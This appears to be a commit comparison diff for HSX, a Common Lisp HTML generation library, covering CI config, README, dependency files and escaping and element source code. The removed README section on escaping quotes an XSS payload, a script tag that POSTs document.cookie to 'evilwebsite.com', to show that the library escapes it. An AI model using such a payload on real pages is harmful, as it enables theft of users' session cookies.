Compare commits
No commits in common. "master" and "0.1.0" have entirely different histories.
22 changed files with 549 additions and 673 deletions
|
|
@ -1,70 +0,0 @@
|
||||||
name: 'CI'
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- 'master'
|
|
||||||
pull_request:
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
test:
|
|
||||||
runs-on: docker
|
|
||||||
|
|
||||||
strategy:
|
|
||||||
matrix:
|
|
||||||
lisp:
|
|
||||||
- sbcl-bin
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Restore cache
|
|
||||||
id: restore-cache
|
|
||||||
uses: actions/cache/restore@v4
|
|
||||||
with:
|
|
||||||
path: |
|
|
||||||
~/.roswell
|
|
||||||
/usr/local/bin/ros
|
|
||||||
/usr/local/etc/roswell/
|
|
||||||
qlfile
|
|
||||||
qlfile.lock
|
|
||||||
.qlot
|
|
||||||
~/.cache/common-lisp/
|
|
||||||
key: roswell-${{ runner.os }}-${{ matrix.lisp }}-${{ hashFiles('qlfile', 'qlfile.lock', '*.asd') }}
|
|
||||||
|
|
||||||
- name: Install Roswell
|
|
||||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
|
||||||
env:
|
|
||||||
LISP: ${{ matrix.lisp }}
|
|
||||||
run: |
|
|
||||||
curl -L https://raw.githubusercontent.com/roswell/roswell/master/scripts/install-for-ci.sh | sh
|
|
||||||
|
|
||||||
- name: Install Qlot
|
|
||||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
|
||||||
run: |
|
|
||||||
ros install fukamachi/qlot
|
|
||||||
|
|
||||||
- name: Install dependencies
|
|
||||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
|
||||||
run: |
|
|
||||||
PATH="~/.roswell/bin:$PATH"
|
|
||||||
qlot install
|
|
||||||
qlot exec ros install hsx
|
|
||||||
|
|
||||||
- name: Save cache
|
|
||||||
id: save-cache
|
|
||||||
uses: actions/cache/save@v4
|
|
||||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
|
||||||
with:
|
|
||||||
path: |
|
|
||||||
~/.roswell
|
|
||||||
/usr/local/bin/ros
|
|
||||||
/usr/local/etc/roswell/
|
|
||||||
qlfile
|
|
||||||
qlfile.lock
|
|
||||||
.qlot
|
|
||||||
~/.cache/common-lisp/
|
|
||||||
key: ${{ steps.restore-cache.outputs.cache-primary-key }}
|
|
||||||
|
|
||||||
- name: Run tests
|
|
||||||
run: .qlot/bin/rove hsx.asd
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
name: 'CI'
|
name: 'test'
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
|
|
@ -7,15 +7,15 @@ on:
|
||||||
pull_request:
|
pull_request:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
test:
|
tests:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
strategy:
|
strategy:
|
||||||
matrix:
|
matrix:
|
||||||
lisp:
|
lisp:
|
||||||
- sbcl-bin
|
- sbcl-bin
|
||||||
- ccl-bin
|
- ccl-bin
|
||||||
|
|
||||||
env:
|
env:
|
||||||
LISP: ${{ matrix.lisp }}
|
LISP: ${{ matrix.lisp }}
|
||||||
|
|
||||||
2
LICENSE
2
LICENSE
|
|
@ -1,4 +1,4 @@
|
||||||
Copyright 2024 Akira Tempaku
|
Copyright 2024 skyizwhite
|
||||||
Copyright 2018 Bo Yao
|
Copyright 2018 Bo Yao
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||||
|
|
|
||||||
262
README.md
262
README.md
|
|
@ -1,185 +1,143 @@
|
||||||
# HSX – Hypertext S-expression
|
# HSX
|
||||||
|
|
||||||
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
|
HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp, forked from [flute](https://github.com/ailisp/flute/), originally created by Bo Yao.
|
||||||
|
|
||||||
[Practical usage example](https://github.com/skyizwhite/website)
|
## Introduction
|
||||||
|
|
||||||
> 🚧 **BETA NOTICE:**
|
HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner.
|
||||||
> This library is still in early development. APIs may change.
|
|
||||||
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
|
|
||||||
|
|
||||||
## ⚙️ How HSX Works
|
## Getting Started
|
||||||
|
|
||||||
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
|
### Basic Usage
|
||||||
|
|
||||||
```lisp
|
Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within.
|
||||||
(create-element type props children)
|
|
||||||
```
|
|
||||||
|
|
||||||
For example:
|
|
||||||
|
|
||||||
```lisp
|
```lisp
|
||||||
(hsx
|
(hsx
|
||||||
(article :class "container"
|
(div :id "example" :class "container"
|
||||||
(h1 "Title")
|
(h1 "Welcome to HSX")
|
||||||
(p "Paragraph")
|
(p "This is an example paragraph.")))
|
||||||
(~share-button :service :x))
|
|
||||||
```
|
|
||||||
Is internally transformed (by macro expansion) into:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(create-element :article
|
|
||||||
(list :class "container")
|
|
||||||
(list (create-element :h1
|
|
||||||
(list)
|
|
||||||
(list "Title"))
|
|
||||||
(create-element :p
|
|
||||||
(list)
|
|
||||||
(list "Paragraph"))
|
|
||||||
(create-element #'~share-button
|
|
||||||
(list :service :x)
|
|
||||||
(list))))
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## 🚀 Quick Example
|
This generates:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<div id="example" class="container">
|
||||||
|
<h1>Welcome to HSX</h1>
|
||||||
|
<p>This is an example paragraph.</p>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Examples
|
||||||
|
|
||||||
|
### Dynamic Content
|
||||||
|
|
||||||
|
HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content.
|
||||||
|
|
||||||
```lisp
|
```lisp
|
||||||
(hsx
|
(hsx
|
||||||
(div :id "main" :class "container"
|
(div
|
||||||
(h1 "Hello, HSX!")
|
(p :id (format nil "id-~a" (random 100)))
|
||||||
(p "This is a simple paragraph.")))
|
(ul
|
||||||
|
(loop :for i :from 1 :to 5 :collect (li (format nil "Item ~a" i))))
|
||||||
|
(if (> (random 10) 5)
|
||||||
|
(p "Condition met!")
|
||||||
|
(p "Condition not met!"))))
|
||||||
|
```
|
||||||
|
|
||||||
|
This might generate:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<div>
|
||||||
|
<p id="id-42"></p>
|
||||||
|
<ul>
|
||||||
|
<li>Item 1</li>
|
||||||
|
<li>Item 2</li>
|
||||||
|
<li>Item 3</li>
|
||||||
|
<li>Item 4</li>
|
||||||
|
<li>Item 5</li>
|
||||||
|
</ul>
|
||||||
|
<p>Condition not met!</p>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Using Fragments
|
||||||
|
|
||||||
|
To group multiple elements without adding an extra wrapper, use the fragment `<>`.
|
||||||
|
|
||||||
|
```lisp
|
||||||
|
(hsx
|
||||||
|
(<>
|
||||||
|
(h1 "Grouped Elements")
|
||||||
|
(p "First paragraph.")
|
||||||
|
(p "Second paragraph.")))
|
||||||
|
```
|
||||||
|
|
||||||
|
This generates:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<h1>Grouped Elements</h1>
|
||||||
|
<p>First paragraph.</p>
|
||||||
|
<p>Second paragraph.</p>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Creating Components
|
||||||
|
|
||||||
|
You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties.
|
||||||
|
|
||||||
|
```lisp
|
||||||
|
(defcomp card (&key title children)
|
||||||
|
(hsx
|
||||||
|
(div :class "card"
|
||||||
|
(h1 title)
|
||||||
|
children)))
|
||||||
|
```
|
||||||
|
|
||||||
|
Or using a property list:
|
||||||
|
|
||||||
|
```lisp
|
||||||
|
(defcomp card (&rest props)
|
||||||
|
(hsx
|
||||||
|
(div :class "card"
|
||||||
|
(h1 (getf props :title))
|
||||||
|
(getf props :children))))
|
||||||
|
```
|
||||||
|
|
||||||
|
Usage example:
|
||||||
|
|
||||||
|
```lisp
|
||||||
|
(hsx
|
||||||
|
(card :title "Card Title"
|
||||||
|
(p "This is a card component.")))
|
||||||
```
|
```
|
||||||
|
|
||||||
Generates:
|
Generates:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<div id="main" class="container">
|
<div class="card">
|
||||||
<h1>Hello, HSX!</h1>
|
<h1>Card Title</h1>
|
||||||
<p>This is a simple paragraph.</p>
|
<p>This is a card component.</p>
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
|
|
||||||
## 📝 Rendering
|
## Rendering HTML
|
||||||
|
|
||||||
Use `render-to-string` to convert an HSX structure to a string of HTML:
|
To render HSX to an HTML string, use the `render-to-string` function.
|
||||||
|
|
||||||
```lisp
|
```lisp
|
||||||
(render-to-string
|
(render-to-string
|
||||||
(hsx ...))
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🔐 Escaping text
|
|
||||||
|
|
||||||
All elements automatically escape special characters in content to prevent XSS and HTML injection:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(hsx
|
|
||||||
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
|
|
||||||
```
|
|
||||||
Outputs:
|
|
||||||
|
|
||||||
```html
|
|
||||||
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
|
|
||||||
```
|
|
||||||
|
|
||||||
Use the special tag `raw!` to inject trusted, unescaped HTML:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(hsx
|
|
||||||
(article (raw! "HTML text here ..."))
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🧩 Fragments
|
|
||||||
|
|
||||||
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(hsx
|
|
||||||
(<>
|
|
||||||
(p "One")
|
|
||||||
(p "Two")))
|
|
||||||
```
|
|
||||||
|
|
||||||
Outputs:
|
|
||||||
|
|
||||||
```html
|
|
||||||
<p>One</p>
|
|
||||||
<p>Two</p>
|
|
||||||
```
|
|
||||||
|
|
||||||
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
|
|
||||||
|
|
||||||
## 🧱 Components
|
|
||||||
|
|
||||||
Define reusable components using `defcomp` macro. Component names must start with `~`.
|
|
||||||
|
|
||||||
*Keyword-style*
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(defcomp ~card (&key title children)
|
|
||||||
(hsx
|
(hsx
|
||||||
(div :class "card"
|
(div :class "content"
|
||||||
(h2 title)
|
(h1 "Rendered to String")
|
||||||
children)))
|
(p "This HTML is generated as a string."))))
|
||||||
```
|
```
|
||||||
|
|
||||||
*Property-list style*
|
## License
|
||||||
|
|
||||||
```lisp
|
This project is licensed under the MIT License.
|
||||||
(defcomp ~card (&rest props)
|
|
||||||
(hsx
|
|
||||||
(div :class "card"
|
|
||||||
(h2 (getf props :title))
|
|
||||||
(getf props :children))))
|
|
||||||
```
|
|
||||||
|
|
||||||
### Usage
|
© 2024 skyizwhite
|
||||||
|
|
||||||
```lisp
|
© 2018 Bo Yao
|
||||||
(hsx
|
|
||||||
(~card :title "Hello"
|
|
||||||
(p "This is a card.")))
|
|
||||||
```
|
|
||||||
|
|
||||||
Outputs:
|
Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx).
|
||||||
|
|
||||||
```html
|
|
||||||
<div class="card">
|
|
||||||
<h2>Hello</h2>
|
|
||||||
<p>This is a card.</p>
|
|
||||||
</div>
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🧬 Logic and Interpolation
|
|
||||||
|
|
||||||
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(hsx
|
|
||||||
(div
|
|
||||||
(if (> (random 10) 5)
|
|
||||||
(hsx (p "High!"))
|
|
||||||
(hsx (p "Low!")))))
|
|
||||||
```
|
|
||||||
|
|
||||||
Or loop:
|
|
||||||
|
|
||||||
```lisp
|
|
||||||
(hsx
|
|
||||||
(ul
|
|
||||||
(loop :for item :in todo-list :collect
|
|
||||||
(hsx (li item))))))
|
|
||||||
```
|
|
||||||
|
|
||||||
## Utils
|
|
||||||
|
|
||||||
- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.
|
|
||||||
|
|
||||||
## 📄 License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
© 2024 Akira Tempaku
|
|
||||||
|
|
||||||
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
|
|
||||||
|
|
||||||
|
|
|
||||||
17
hsx-test.asd
17
hsx-test.asd
|
|
@ -1,8 +1,13 @@
|
||||||
(defsystem "hsx-test"
|
(defsystem "hsx-test"
|
||||||
:class :package-inferred-system
|
:defsystem-depends-on ("fiveam-asdf")
|
||||||
|
:class :package-inferred-fiveam-tester-system
|
||||||
:pathname "tests"
|
:pathname "tests"
|
||||||
:depends-on ("rove"
|
:depends-on ("hsx-test/element"
|
||||||
"hsx-test/utils"
|
"hsx-test/hsx"
|
||||||
"hsx-test/element"
|
"hsx-test/escaper"
|
||||||
"hsx-test/dsl")
|
"hsx-test/group")
|
||||||
:perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
|
:test-names ((#:element-test . #:hsx-test/element)
|
||||||
|
(#:hsx-test . #:hsx-test/hsx)
|
||||||
|
(#:escaper-test . #:hsx-test/escaper)
|
||||||
|
(#:group-test . #:hsx-test/group))
|
||||||
|
:num-checks 44)
|
||||||
|
|
|
||||||
8
hsx.asd
8
hsx.asd
|
|
@ -1,8 +1,8 @@
|
||||||
(defsystem "hsx"
|
(defsystem "hsx"
|
||||||
:version "0.6.0"
|
:version "0.1.0"
|
||||||
:description "Simple and powerful HTML generation library."
|
:description "Hypertext S-expression"
|
||||||
:author "Akira Tempaku, Bo Yao"
|
:author "skyizwhite, Bo Yao"
|
||||||
:maintainer "Akira Tempaku <paku@skyizwhite.dev>"
|
:maintainer "skyizwhite <paku@skyizwhite.dev>"
|
||||||
:license "MIT"
|
:license "MIT"
|
||||||
:long-description #.(uiop:read-file-string
|
:long-description #.(uiop:read-file-string
|
||||||
(uiop:subpathname *load-pathname* "README.md"))
|
(uiop:subpathname *load-pathname* "README.md"))
|
||||||
|
|
|
||||||
7
qlfile
7
qlfile
|
|
@ -1,6 +1,3 @@
|
||||||
|
ql fiveam-asdf
|
||||||
ql alexandria
|
ql alexandria
|
||||||
ql cl-str
|
ql mstrings
|
||||||
|
|
||||||
git rove https://github.com/fukamachi/rove
|
|
||||||
git dissect https://github.com/Shinmera/dissect ; workaround
|
|
||||||
git mstrings https://git.sr.ht/~shunter/mstrings
|
|
||||||
|
|
|
||||||
24
qlfile.lock
24
qlfile.lock
|
|
@ -1,24 +1,16 @@
|
||||||
("quicklisp" .
|
("quicklisp" .
|
||||||
(:class qlot/source/dist:source-dist
|
(:class qlot/source/dist:source-dist
|
||||||
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
|
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
|
||||||
:version "2024-10-12"))
|
:version "2023-10-21"))
|
||||||
|
("fiveam-asdf" .
|
||||||
|
(:class qlot/source/ql:source-ql
|
||||||
|
:initargs (:%version :latest)
|
||||||
|
:version "ql-2023-10-21"))
|
||||||
("alexandria" .
|
("alexandria" .
|
||||||
(:class qlot/source/ql:source-ql
|
(:class qlot/source/ql:source-ql
|
||||||
:initargs (:%version :latest)
|
:initargs (:%version :latest)
|
||||||
:version "ql-2024-10-12"))
|
:version "ql-2023-10-21"))
|
||||||
("cl-str" .
|
("mstrings" .
|
||||||
(:class qlot/source/ql:source-ql
|
(:class qlot/source/ql:source-ql
|
||||||
:initargs (:%version :latest)
|
:initargs (:%version :latest)
|
||||||
:version "ql-2024-10-12"))
|
:version "ql-2023-10-21"))
|
||||||
("rove" .
|
|
||||||
(:class qlot/source/git:source-git
|
|
||||||
:initargs (:remote-url "https://github.com/fukamachi/rove")
|
|
||||||
:version "git-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
|
|
||||||
("dissect" .
|
|
||||||
(:class qlot/source/git:source-git
|
|
||||||
:initargs (:remote-url "https://github.com/Shinmera/dissect")
|
|
||||||
:version "git-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
|
|
||||||
("mstrings" .
|
|
||||||
(:class qlot/source/git:source-git
|
|
||||||
:initargs (:remote-url "https://git.sr.ht/~shunter/mstrings")
|
|
||||||
:version "git-7a94c070141c7cd03bbd3648b17724c3bf143393"))
|
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
(uiop:define-package #:hsx/builtin
|
(uiop:define-package #:hsx/builtin
|
||||||
(:use #:cl)
|
(:use #:cl)
|
||||||
(:import-from #:hsx/dsl
|
(:import-from #:hsx/hsx
|
||||||
#:deftag))
|
#:deftag))
|
||||||
(in-package #:hsx/builtin)
|
(in-package #:hsx/builtin)
|
||||||
|
|
||||||
|
|
@ -20,5 +20,4 @@
|
||||||
noscript object ol optgroup option output p param picture pre progress
|
noscript object ol optgroup option output p param picture pre progress
|
||||||
q rp rt ruby s samp script section select small source span strong
|
q rp rt ruby s samp script section select small source span strong
|
||||||
style sub summary sup svg table tbody td template textarea tfoot th
|
style sub summary sup svg table tbody td template textarea tfoot th
|
||||||
thead |time| title tr track u ul var video wbr
|
thead |time| title tr track u ul var video wbr <>)
|
||||||
<> raw!)
|
|
||||||
|
|
|
||||||
91
src/dsl.lisp
91
src/dsl.lisp
|
|
@ -1,91 +0,0 @@
|
||||||
(defpackage #:hsx/dsl
|
|
||||||
(:use #:cl)
|
|
||||||
(:import-from #:alexandria
|
|
||||||
#:make-keyword
|
|
||||||
#:symbolicate)
|
|
||||||
(:import-from #:hsx/element
|
|
||||||
#:create-element)
|
|
||||||
(:export #:hsx
|
|
||||||
#:deftag
|
|
||||||
#:defcomp))
|
|
||||||
(in-package #:hsx/dsl)
|
|
||||||
|
|
||||||
;;; hsx macro
|
|
||||||
|
|
||||||
(defmacro hsx (form)
|
|
||||||
"Detect HSX elements and automatically import them."
|
|
||||||
(detect-elements form))
|
|
||||||
|
|
||||||
(defun detect-builtin-element (sym)
|
|
||||||
(multiple-value-bind (builtin-sym kind)
|
|
||||||
(find-symbol (string sym) :hsx/builtin)
|
|
||||||
(and (eq kind :external) builtin-sym)))
|
|
||||||
|
|
||||||
(defun start-with-tilde-p (sym)
|
|
||||||
(string= "~" (subseq (string sym) 0 1)))
|
|
||||||
|
|
||||||
(defun detect-component (sym)
|
|
||||||
(and (start-with-tilde-p sym) sym))
|
|
||||||
|
|
||||||
(defun detect-elements (form)
|
|
||||||
(let* ((head (first form))
|
|
||||||
(tail (rest form))
|
|
||||||
(detected-sym (and (symbolp head)
|
|
||||||
(not (keywordp head))
|
|
||||||
(or (detect-builtin-element head)
|
|
||||||
(detect-component head)))))
|
|
||||||
(if (and (listp tail) detected-sym)
|
|
||||||
(cons detected-sym
|
|
||||||
(mapcar (lambda (sub-form)
|
|
||||||
(if (consp sub-form)
|
|
||||||
(detect-elements sub-form)
|
|
||||||
sub-form))
|
|
||||||
tail))
|
|
||||||
form)))
|
|
||||||
|
|
||||||
;;; defhsx macro
|
|
||||||
|
|
||||||
(defmacro defhsx (name element-type)
|
|
||||||
; Use a macro instead of a function to enable semantic indentation similar to HTML.
|
|
||||||
`(defmacro ,name (&body body)
|
|
||||||
`(%create-element ,',element-type ,@body)))
|
|
||||||
|
|
||||||
(defun %create-element (type &rest body)
|
|
||||||
(multiple-value-bind (props children)
|
|
||||||
(parse-body body)
|
|
||||||
(create-element type props children)))
|
|
||||||
|
|
||||||
(defun parse-body (body)
|
|
||||||
(cond ((and (listp (first body))
|
|
||||||
(keywordp (first (first body))))
|
|
||||||
(values (first body) (rest body)))
|
|
||||||
((keywordp (first body))
|
|
||||||
(loop :for thing :on body :by #'cddr
|
|
||||||
:for (k v) := thing
|
|
||||||
:when (and (keywordp k) v)
|
|
||||||
:append (list k v) :into props
|
|
||||||
:when (not (keywordp k))
|
|
||||||
:return (values props thing)
|
|
||||||
:finally (return (values props nil))))
|
|
||||||
(t (values nil body))))
|
|
||||||
|
|
||||||
(defmacro deftag (name)
|
|
||||||
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
|
||||||
(defhsx ,name ,(make-keyword name))))
|
|
||||||
|
|
||||||
(defmacro defcomp (~name props &body body)
|
|
||||||
"Define an HSX function component.
|
|
||||||
The component name must start with a tilde (~).
|
|
||||||
Component properties must be declared using &key, &rest, or both.
|
|
||||||
The body of the component must produce a valid HSX element."
|
|
||||||
(unless (start-with-tilde-p ~name)
|
|
||||||
(error "The component name must start with a tilde (~~)."))
|
|
||||||
(unless (or (null props)
|
|
||||||
(member '&key props)
|
|
||||||
(member '&rest props))
|
|
||||||
(error "Component properties must be declared using &key, &rest, or both."))
|
|
||||||
(let ((%name (symbolicate '% ~name)))
|
|
||||||
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
|
||||||
(defun ,%name ,props
|
|
||||||
,@body)
|
|
||||||
(defhsx ,~name (fdefinition ',%name)))))
|
|
||||||
|
|
@ -1,16 +1,17 @@
|
||||||
(defpackage #:hsx/element
|
(defpackage #:hsx/element
|
||||||
(:use #:cl)
|
(:use #:cl)
|
||||||
(:import-from #:str
|
(:import-from #:hsx/escaper
|
||||||
#:collapse-whitespaces)
|
#:escape-html-attribute
|
||||||
(:import-from #:hsx/utils
|
#:escape-html-text-content)
|
||||||
#:escape-html-text-content
|
(:import-from #:hsx/group
|
||||||
#:escape-html-attribute)
|
#:self-closing-tag-p
|
||||||
|
#:non-escaping-tag-p)
|
||||||
(:export #:element
|
(:export #:element
|
||||||
#:tag
|
#:tag
|
||||||
#:html-tag
|
#:html-tag
|
||||||
#:self-closing-tag
|
#:self-closing-tag
|
||||||
|
#:non-escaping-tag
|
||||||
#:fragment
|
#:fragment
|
||||||
#:raw-fragment
|
|
||||||
#:component
|
#:component
|
||||||
#:create-element
|
#:create-element
|
||||||
#:element-type
|
#:element-type
|
||||||
|
|
@ -20,13 +21,6 @@
|
||||||
#:render-to-string))
|
#:render-to-string))
|
||||||
(in-package #:hsx/element)
|
(in-package #:hsx/element)
|
||||||
|
|
||||||
;;; tag group definitions
|
|
||||||
|
|
||||||
(deftype self-closing-tag-sym ()
|
|
||||||
'(member
|
|
||||||
:area :base :br :col :embed :hr :img :input
|
|
||||||
:link :meta :param :source :track :wbr))
|
|
||||||
|
|
||||||
;;;; class definitions
|
;;;; class definitions
|
||||||
|
|
||||||
(defclass element ()
|
(defclass element ()
|
||||||
|
|
@ -46,21 +40,21 @@
|
||||||
|
|
||||||
(defclass self-closing-tag (tag) ())
|
(defclass self-closing-tag (tag) ())
|
||||||
|
|
||||||
(defclass fragment (tag) ())
|
(defclass non-escaping-tag (tag) ())
|
||||||
|
|
||||||
(defclass raw-fragment (fragment) ())
|
(defclass fragment (tag) ())
|
||||||
|
|
||||||
(defclass component (element) ())
|
(defclass component (element) ())
|
||||||
|
|
||||||
;;;; factory
|
;;;; factory
|
||||||
|
|
||||||
(defun create-element (type props children)
|
(defun create-element (type props children)
|
||||||
(make-instance
|
(make-instance
|
||||||
(cond ((functionp type) 'component)
|
(cond ((functionp type) 'component)
|
||||||
((eq type :<>) 'fragment)
|
((eq type :<>) 'fragment)
|
||||||
((eq type :raw!) 'raw-fragment)
|
|
||||||
((eq type :html) 'html-tag)
|
((eq type :html) 'html-tag)
|
||||||
((typep type 'self-closing-tag-sym) 'self-closing-tag)
|
((self-closing-tag-p type) 'self-closing-tag)
|
||||||
|
((non-escaping-tag-p type) 'non-escaping-tag)
|
||||||
((keywordp type) 'tag)
|
((keywordp type) 'tag)
|
||||||
(t (error "element-type must be a keyword or a function.")))
|
(t (error "element-type must be a keyword or a function.")))
|
||||||
:type type
|
:type type
|
||||||
|
|
@ -92,7 +86,7 @@
|
||||||
(if children
|
(if children
|
||||||
(format stream
|
(format stream
|
||||||
(if (or (rest children)
|
(if (or (rest children)
|
||||||
(typep (first children) '(and element (not fragment))))
|
(typep (first children) 'element))
|
||||||
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
|
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
|
||||||
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
|
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
|
||||||
type
|
type
|
||||||
|
|
@ -124,19 +118,18 @@
|
||||||
(string-downcase (element-type element)))
|
(string-downcase (element-type element)))
|
||||||
|
|
||||||
(defmethod render-props ((element tag))
|
(defmethod render-props ((element tag))
|
||||||
(collapse-whitespaces
|
(with-output-to-string (stream)
|
||||||
(with-output-to-string (stream)
|
(loop
|
||||||
(loop
|
:for (key value) :on (element-props element) :by #'cddr
|
||||||
:for (key value) :on (element-props element) :by #'cddr
|
:do (let ((key-str (string-downcase key)))
|
||||||
:do (let ((key-str (string-downcase key)))
|
(if (typep value 'boolean)
|
||||||
(if (typep value 'boolean)
|
(format stream
|
||||||
(format stream
|
"~@[ ~a~]"
|
||||||
"~@[ ~a~]"
|
(and value key-str))
|
||||||
(and value key-str))
|
(format stream
|
||||||
(format stream
|
" ~a=\"~a\""
|
||||||
" ~a=\"~a\""
|
key-str
|
||||||
key-str
|
(escape-html-attribute value)))))))
|
||||||
(escape-html-attribute value))))))))
|
|
||||||
|
|
||||||
(defmethod render-children ((element tag))
|
(defmethod render-children ((element tag))
|
||||||
(mapcar (lambda (child)
|
(mapcar (lambda (child)
|
||||||
|
|
@ -145,7 +138,7 @@
|
||||||
child))
|
child))
|
||||||
(element-children element)))
|
(element-children element)))
|
||||||
|
|
||||||
(defmethod render-children ((element raw-fragment))
|
(defmethod render-children ((element non-escaping-tag))
|
||||||
(element-children element))
|
(element-children element))
|
||||||
|
|
||||||
(defmethod expand-component ((element component))
|
(defmethod expand-component ((element component))
|
||||||
|
|
|
||||||
40
src/escaper.lisp
Normal file
40
src/escaper.lisp
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
(defpackage #:hsx/escaper
|
||||||
|
(:use #:cl)
|
||||||
|
(:import-from #:alexandria
|
||||||
|
#:alist-hash-table)
|
||||||
|
(:export #:escape-html-attribute
|
||||||
|
#:escape-html-text-content))
|
||||||
|
(in-package #:hsx/escaper)
|
||||||
|
|
||||||
|
(defparameter *text-content-escape-map*
|
||||||
|
(alist-hash-table
|
||||||
|
'((#\& . "&")
|
||||||
|
(#\< . "<")
|
||||||
|
(#\> . ">")
|
||||||
|
(#\" . """)
|
||||||
|
(#\' . "'")
|
||||||
|
(#\/ . "/")
|
||||||
|
(#\` . "`")
|
||||||
|
(#\= . "="))))
|
||||||
|
|
||||||
|
(defparameter *attribute-escape-map*
|
||||||
|
(alist-hash-table
|
||||||
|
'((#\" . """))))
|
||||||
|
|
||||||
|
(defun escape-char (char escape-map)
|
||||||
|
(or (gethash char escape-map)
|
||||||
|
char))
|
||||||
|
|
||||||
|
(defun escape-string (string escape-map)
|
||||||
|
(if (stringp string)
|
||||||
|
(with-output-to-string (s)
|
||||||
|
(loop
|
||||||
|
:for c :across string
|
||||||
|
:do (write (escape-char c escape-map) :stream s :escape nil)))
|
||||||
|
string))
|
||||||
|
|
||||||
|
(defun escape-html-text-content (text)
|
||||||
|
(escape-string text *text-content-escape-map*))
|
||||||
|
|
||||||
|
(defun escape-html-attribute (text)
|
||||||
|
(escape-string text *attribute-escape-map*))
|
||||||
30
src/group.lisp
Normal file
30
src/group.lisp
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
(defpackage #:hsx/group
|
||||||
|
(:use #:cl)
|
||||||
|
(:import-from #:alexandria
|
||||||
|
#:make-keyword
|
||||||
|
#:symbolicate)
|
||||||
|
(:export #:defgroup
|
||||||
|
#:self-closing-tag-p
|
||||||
|
#:non-escaping-tag-p))
|
||||||
|
(in-package #:hsx/group)
|
||||||
|
|
||||||
|
(defun make-keyword-hash-table (symbols)
|
||||||
|
(let ((ht (make-hash-table)))
|
||||||
|
(mapcar (lambda (sym)
|
||||||
|
(setf (gethash (make-keyword sym) ht) t))
|
||||||
|
symbols)
|
||||||
|
ht))
|
||||||
|
|
||||||
|
(defmacro defgroup (name &body symbols)
|
||||||
|
(let ((p-name (symbolicate '* name '*)))
|
||||||
|
`(progn
|
||||||
|
(defparameter ,p-name (make-keyword-hash-table ',symbols))
|
||||||
|
(defun ,(symbolicate name '-p) (keyword)
|
||||||
|
(gethash keyword ,p-name)))))
|
